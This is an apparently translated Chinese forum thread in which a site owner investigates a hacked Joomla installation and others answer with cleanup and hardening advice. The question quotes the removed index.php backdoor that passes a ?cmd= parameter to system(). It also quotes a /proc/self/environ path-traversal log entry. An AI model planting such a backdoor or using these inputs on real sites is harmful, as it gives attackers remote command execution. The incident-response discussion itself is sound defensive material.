前几天,我正在运行的一个 Joomla 网站被黑客入侵了。黑客将一些文件放入 tmp 目录并以某种方式在那里运行 HTTP 守护程序(至少我的主机是这么告诉我的)。无论如何,我一直在尝试清理他们留下的文件并尽可能地保护它们,但在检查我的日志时,我发现有人攻击了www.domain.com/?cmd=ls
。这对我来说似乎很奇怪,所以我试了一下……结果它列出了我网站根目录中的所有文件。有人能向我解释为什么会发生这种情况以及如何阻止它吗?这似乎是一个巨大的漏洞,我想立即消除它。
更新:在挖掘过程中,我发现我的 Joomla index.php 中添加了几行:
if ($_GET['cmd']!=null) {
system($_GET['cmd']);
}
我已经删除了这些,但我很好奇攻击者是如何编辑这些的。我不太确定要查看哪里才能确保我关闭了所有后门。
更多更新:首先我要说,是的,我知道这里正确的做法是删除网站并从备份中恢复。但是我更愿意将其作为最后的手段,因为 (a) 这是一个依赖社区贡献的网站,我的备份不是那么新(我知道是我的错)和 (b) 我正在开发一个新版本,应该很快就会准备好。但由于我似乎在这里得到了一些帮助,我将添加一些我发现/做过的其他事情,以尝试解决这种情况。
在我的 /tmp 文件夹中发现了一些 .kin(或类似的东西 - 没有记下来并立即删除了)目录,这显然是此 http 守护进程运行的位置。我假设 gunzip(下面提到)就是将其放置在这里的方式。
在我的 error_log 文件中,我发现了以下可疑条目(“...”是我试图从该帖子中删除路径/文件名):
[04-Jul-2010 09:45:58] PHP Fatal error: Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24
[05-Jul-2010 12:31:30] PHP Notice: Undefined index: HTTP_USER_AGENT in ... on line 92
[04-Jul-2010 06:41:52] PHP Warning: rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719
我已经更新了 CKForms 组件(该组件被列为与我正在运行的版本存在已知漏洞),以及 HTTP_USER_AGENT 消息中列出的另一个组件。
在我的统计日志中,我发现同一个 IP 地址尝试了 ?cmd=ls 两次,所以我阻止了该 IP(在印度尼西亚的某个地方)。
我将我的 Joomla 安装更新至最新版本。
我在我的根目录中发现了 system.ph 和 system.php 文件,其中包含 gunzip/base64 编码的字符串,我将其删除了。
我检查了安装中所有时间戳最近的目录,以查看是否存在任何异常文件。
删除了指向 .../tmp/.kin/up2you >/dev/null 2>&1 的 cron 作业
另外,我担心即使我确实从备份中恢复,所使用的任何漏洞仍然存在,所以根本原因和预防措施才是我真正要寻找的。
答案1
我强烈反对 Chris S 的说法,即所有文件/目录都应归 root 所有。Unix 权限系统是有原因的。
运行 Apache/PHP 有两种基本方法。一种是以 www-data 用户身份运行,并让非 root 用户名拥有文件。Apache 以低权限帐户运行,必须被授予对特定目录/文件的访问权限才能写入它们。这就是 Joomla 拥有 ftp 层的原因,以弥补这一点。然而,在共享服务器环境中,所有文件都需要是全球可读的,这一事实使得该机器上其他站点的配置文件易于读取。
另一种方法是运行 Apache 和运行 suPHP 的 PHP,这是 CPanel 所偏爱的。在这种情况下,Apache 以低权限用户身份运行,但所有 PHP 请求都交给一个脚本,该脚本将所有权更改为拥有文件的用户名。虽然您现在可以使用 Unix 权限来阻止计算机上的其他恶意脚本浏览您的目录,但任何受感染的 PHP 脚本都可以以您的用户名运行,从而修改/破坏您的用户名拥有的任何文件。
由于您对服务器安全不太熟悉,因此在机器上找到隐藏得很好的 rootkit 等并不是一件有趣的事情。首先,您必须知道内核是否可被利用(除非您运行的是最新的内核,否则答案是肯定的),以及是否有任何东西受到影响。这种特定的黑客通常通过被入侵的 FTP 帐户进行,此时他们能够执行脚本。由于您发现了该代码,这也表明使用它的“黑客”并不十分老练。他可以通过多种方式隐藏该代码并阻止您的日志看到他正在做什么。
mojah 是正确的。一旦他们进入,他们就会尝试从 /dev/shm/.something 或 /tmp 运行连接到他们的 IRC 网络的脚本,或者充当 undernet 或另一个竞争网络上的接管机器人。您可能会发现一个或两个脚本正在运行,也许是一个重新启动它的 cron 条目,以及隐藏在整个 Joomla 安装中的其他远程 shell。在 /uploads 或 /images 目录中查找与现有文件名称相似的文件。即 img_1034.jpg.php。他们通常会将他们的 irc 机器人隐藏在多个无法通过网络访问的地方,这样您登录时就不会偶然发现它们,但是,他们会将他们的远程 shell 藏在一些地方,这样他们就可以重新进入并重新运行他们的脚本并让它重新连接到他们的网络。
无论如何,您面临的任务有些棘手。您有一个需要保持在线的网站,但您缺乏处理这些情况的经验,而且您只希望您的网站能够正常运行。
通过 Joomla 的导出功能转储数据库,确保它是完整的转储。创建第二个站点并导入转储以进行验证。一旦您确定您有一个好的、可导入的转储,请备份该站点。删除所有文件,重新安装 Joomla,基本安装,使用现有的 MySQL 连接信息 - 它可能认为您正在升级,在这种情况下允许它升级。如果您在某个地方的 VPS 上,也许让他们给您一个新的映像并重新安装。
答案2
您的服务器极不安全,可能是黑客攻击造成的。需要尽快将其下线。
此时最好的做法是将其清除,从备份中恢复,并确保其安全。除非您将其清除,否则您几乎无法确定自己是否已经摆脱了黑客/病毒/等。
答案3
我同意 Chris S 的观点。你太被利用了。你需要清除并从备份中恢复。这一次,在上线之前,你需要非常小心你的写入和执行权限。
一旦攻击者获得系统级访问权限,您就不能再信任您的代码。
目录权限非常重要。这一点再怎么强调也不为过。他们通过漏洞将代码上传到您的网站,但这只有当您的代码可以写入本地目录时才能完成。如果不能,或者它可以写入的本地目录无法解释或用于托管可执行代码,那么可能造成的损害就极其有限。
我建议删除所有可以删除的写入权限,包括属于 root 的权限。唯一可以写入的是上传目录和存储会话文件的目录。如果不允许上传,则只能写入会话文件目录,并且应尽可能锁定该目录。
您还应该定期运行文件完整性扫描。不幸的是,如果您没有完全访问服务器的权限,那么这并不容易。您仍然可以下载网站并定期将其与您的备份进行比较。理想情况下,您应该能够随时从备份中覆盖整个网站,并且没有人会注意到差异。
答案4
正如您所说,负责入侵您服务器的个人/团体留下了一个根据其需求定制的 Web 服务器(也称为 Shellbot,通常用 Perl/Python 编写)。这是一个自定义 Web 界面,旨在允许通过简单的参数发出自定义命令。
ls 是基本命令,而且相对无害。它可能还被用来启动其他更危险的命令。
如果是 Linux,请尝试使用 lsof(lsof -i tcp:80)查看哪些进程正在运行。